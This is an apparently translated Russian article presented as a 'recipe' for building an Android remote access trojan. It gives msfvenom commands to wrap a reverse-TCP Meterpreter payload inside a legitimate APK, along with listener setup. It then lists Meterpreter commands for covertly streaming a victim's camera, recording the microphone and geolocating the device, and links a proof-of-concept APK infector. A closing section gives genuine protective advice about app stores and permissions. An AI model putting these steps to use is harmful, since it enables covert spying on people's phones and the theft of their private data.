Все мы знаем классические рекомендации о безопасности на рабочем месте: установите антивирус, не переходите по подозрительным ссылкам, не заходите на сомнительные сайты. Параноики еще могут наклеить стикер на веб-камеру своего ноутбука, ведь такие вещи нельзя упускать из виду, не правда ли?
Но почему большинство людей не руководствуются этой же логикой, когда речь заходит об их смартфонах? Если хорошенько подумать, мобильный телефон - идеальная мишень для хакеров, к которой без особого труда можно получить доступ. Современные смартфоны поставляются, как правило, не с одной, а с двумя, тремя и больше камерами, микрофоном, GPS-антенной и динамиками. В них содержится огромное количество полезной информации о нас, наших друзьях и сообщениях, которые мы им посылаем. О, и конечно же, мы берем свой смартфон всегда с собой, куда бы мы ни пошли.
Другими словами, получение удаленного доступа к чужому мобильному устройству позволяет злоумышленнику делать всевозможные неприятные вещи. В этой статье я расскажу о том, как легко можно сгенерировать троян удаленного доступа для Android (или RAT, для краткости).
Вам будет полезна эта статья, если
- вы хотите узнать, как избежать подобных атак на свои устройства;
- вы хотите узнать все тонкости создания мобильных вредоносов.
Рецепт приготовления мобильного вредоноса
Ингредиенты
- Виртуальная машина Kali с последней версией Metasploit
- Запасное Android устройство
- [Необязательно] Копия легитимного Android-приложения (.apk)
Инструкция
Шаг 1 – Узнайте свой IP-адрес
Прежде, чем сгенерировать полезную нагрузку, нам нужно узнать немного информации о собственной системе. Первые сведения, которые нам понадобятся, - это IP-адрес системы. В рамках обучения будет использоваться локальный IP, но в боевых условиях злоумышленники, как правило, используют внешний IP, чтобы зараженные устройства могли подключаться к ним.Введите команду
Код:
ip a
Я буду использовать IP-адрес eth0, а точнее локальный IPv4, обведенный на скриншоте.
Шаг 2 – генерация полезной нагрузки
Именно здесь происходит настоящая магия: мы будем генерировать пэйлоад при помощи msfvenom - одного из компонентов Metasploit.Прежде чем начать, убедитесь в наличие:
- IP-адреса, полученного на предыдущем этапе
- Одного любого неиспользуемого порта для запуска msfvenom
- (Необязательно) Легитимного приложения, чтобы создать в нем бэкдор
Откройте новое окно терминала и перейдите в папку, содержащую легитимную копию приложения, в которое вы хотите завернуть бэкдор, а затем выполните следующую команду:
Код:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<your_ip_address> LPORT=<your unused port> -x <legitimate app> -k -o <output name>
- <your_ip_address> = 192.168.43.6
- <your unused port> = 4444
- <legitimate app> = tripadvisor.apk
- <output name> = ta-rat.apk
Шаг 3 - тестирование вредоноса
Имея на руках пэйлоад, необходимо запустить слушатель в виртуальной машине Kali на том же порту, который был указан при его создании.
Код:
msfconsole
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost <your ip address>
set lport <your unused port>
run
Теперь, когда мы готовы принимать входящие соединения, все, что остается сделать, это запустить вредонос на смартфоне под управлением Android.
Я просто перенес .apk-файл во внутреннюю память устройства и запустил его. Как можно заметить по скриншотам ниже, приложение с вшитым бэкдором требует гораздо больше разрешений, чем оригинал.
Исходные разрешения приложения (слева) и разрешения вредоносного приложения (справа)
Устанавливаем его, запускаем и...
Мы в игре!
Шаг 4 - игра с сеансом Meterpreter
Поздравляю! Если вы дошли до этого шага, это значит, что у вас есть рабочая сессия Meterpreter, открытая в окне терминала. Итак, давайте посмотрим, что мы можем сделать?Активация камер
Мы можем получить информацию о том, кто является нашей жертвой, активируя либо фронтальную, либо основную камеру устройства. Для этого, находясь в Meterpeter, введите команду:
Код:
webcam_stream -i <index>
Запись микрофона
Интересно, о чем говорят в непосредственной близости от жертвы? Давайте попробуем записать:
Код:
record_mic -d <duration>
Код:
record_mic -d 15
Геолокация
Мы также можем узнать точное местоположение жертвы, выполнив:
Код:
geolocate
Воспроизведение аудиофайла
Проиграть любой аудиофайл в формате .wav, который имеется в системе, можно при помощи
Код:
play <filename>.wav
Код:
play astley.wav
Экспериментируем с другими функциональными возможностями
Конечно, это всего лишь несколько команд, которые может предложить Meterpreter. Для получения полного списка функций просто введите:
Код:
help
Код:
<command> -h
Предостережения
Во время тестирования, я столкнулся с некоторыми трудностями, с которыми можете столкнуться и вы. Самая сложная часть при подготовке - найти приложение для добавления бэкдора. Используя различные методы обфускации, популярные Android-приложений не позволяют с легкостью декомпилировать и переупаковывать их, значительно затрудняя процесс вставки вредоносного кода. В своей статье я использовал старую версию хорошо известного приложения для путешествий, в которой не были реализованы защитные методы. В новых версиях эту оплошность исправили.API разрешений постоянно развивается, чтобы предотвратить этот тип злоупотреблений со стороны вредоносов. Таким образом, заставить работать эксплойт на новейших версиях Android невозможно, поскольку они требуют явного одобрения пользователя перед предоставлением каких-либо опасных разрешений во время выполнения. Тем не менее, если вы являетесь пользователем смартфона на Android, имейте в виду, что каждый день появляются тысячи вредоносов с новым функционалом, и вы всегда должны дважды подумать, прежде чем предоставлять какому-либо приложению разрешение на смартфоне. Да, даже если на вашем устройстве установлены последние обновления безопасности. Несмотря на то, что методы, описанные в этой статье, работают только для ранних версий Android, учитывая, что эти версии составляют большую часть доли рынка, огромное количество устройств остаются уязвимыми для подобных эксплойтов и по сей день.
В интернете существуют некоторые сторонние инструменты и скрипты, которые обещают достичь более лучших результатов при создании бэкдоров даже для более поздних версий Android. Однако, по моему личному опыту, эти инструменты не всегда оправдывают ожидания. Не стоит слепо доверять ReadMe кода, который вы найдете в сети: проверьте его самостоятельно и убедитесь, что вы понимаете, что он делает, прежде чем выполнять его.
Как защитить себя
Защита себя от подобных атак начинается с осознания того, как эти угрозы проникают в систему. Ваш смартфон принимает множество мер предосторожности против вредоносных приложений, поэтому необходимо, прежде всего, убедиться, что у вас установлены последние обновления. Кроме того, дважды подумайте: первый раз, когда вы решите установить приложение, и еще один раз, когда вы решите предоставить приложению разрешения.Устанавливайте приложения только из официального магазина. Серьезно. Магазины приложений на Android и iOS строго контролируются и проверяются на вирусы. Разве может быть такое, чтобы вредонос обошел эти проверки? Не совсем. Если ему удастся обойти их, очень маловероятно, что он останется в магазине надолго, - рано или поздно его заметят и уберут. В iOS у вас все равно нет особого выбора: если вы еще не взломали свое устройство, вы уже ограничены единым магазином. Для Android есть отдельная надстройка, которая позволяет устанавливать приложения из ненадежных источников. Если вы просто хотите насладиться классическим опытом от пользования своим смартфоном, вам вообще не нужно будет прикасаться к ней: в магазине Google Play, скорее всего, есть все, что вы когда-либо хотели бы установить. Если вы более продвинутый пользователь, который хочет иметь возможность полностью настроить свой телефон под себе или даже получить ROOT-права, чтобы, например, воспользоваться XPOSED: будьте особенно осторожны при установке чего-либо на свой телефон, так как вы теряете большое количество средств защиты, предлагаемых вам Google Play Store. Экспериментировать со смартфоном - это прекрасно, но вы должны быть очень осведомлены о дополнительных рисках, которые вы принимаете. Они удваиваются, если вы загружаете неофициальные приложения из сторонних источников.
Не забывайте, - не все приложения нуждаются во всех разрешениях, которые они запрашивают. Фонарик не нуждается в доступе к вашему микрофону, чтобы нормально функционировать, так зачем же выдавать ему такое разрешение? Если вы устанавливаете приложение, и список разрешений кажется подозрительно длинным, или некоторые элементы определенно не нужны для его полноценной работы, возможно, лучше не давать ему доступ или вообще отказаться от установки. В лучшем случае при помощи выданных разрешений приложения вторгнутся в вашу личную жизнь для продажи таргетинговой рекламы. В худшем случае, преступник может попытаться шпионить за вами.
Последний совет, который я хотел бы дать вам, - это оставить включенными настройки безопасности на вашем устройстве. Не имеет значения, пользуетесь вы iPhone или Android-смартфоном: и в iOS , и в Android встроены отличные функции для обеспечения защиты от несанкционированного вмешательства. Вам не нужны сторонние антивирусные приложения. Они не позволят обезопасить ваш смартфон лучше, чем встроенные средства, поскольку их функционал сильно урезан по сравнению со стандартными функциями защиты.
Используемый в статье метод декодирует приложение до smail-кода, а затем выполняет его патчинг - это наиболее известный и самый распространенный способ внедрения вредоносного кода, не лишенный массы недостатков.
При его использовании происходит изменение оригинального classesN.dex, которое приводит к невозможности выполнения приложения из-за нарушения целостности DEX-файлов (в случае их проверки).
Рисерчер и сам утверждает, что способ сильно устарел, и он решил использовать его только для наглядного изображения того, как можно заполучить доступ к чужому устройству при помощи создания простейшего бэкдора в уже готовом приложении.
Thatskriptkid (OrderOfSixAngles) написал собственный инфектор, призванный решить вышеописанные проблемы. Он подразумевает выполнение вредоносного кода при старте, а также сохранение всех этапов процесса запуска оригинального приложения.
Внедрение пэйлоада происходит в стадии алгоритма cold start:Application Object creation->Application Object Constructor при первом старте программы. Преимущества данного подхода в том, что он позволяет применить необходимые модификации к APK:
1. Без дизассемблирования/сборки DEX
2. Без декодирования/кодирования манифеста
3. Без внесения изменений в оригинальные DEX файлы
При его применении можно заражать практически любые существующие приложения, без ограничений. Описанная техника не зависит от архитектуры и версии Android, а также успешно протестирована на Android 5.0, Android 7.0, Android 9.0, Android 10.0 и эмуляторе Nox Player с версией Android 5.1.1 (API 22).
Более подробно (особенно интересно происходит правка AndroidManifest.xml).
PoC: https://github.com/thatskriptkid/apk-infector-Archinome-PoC
Источник
Переведено Moody канал @cybred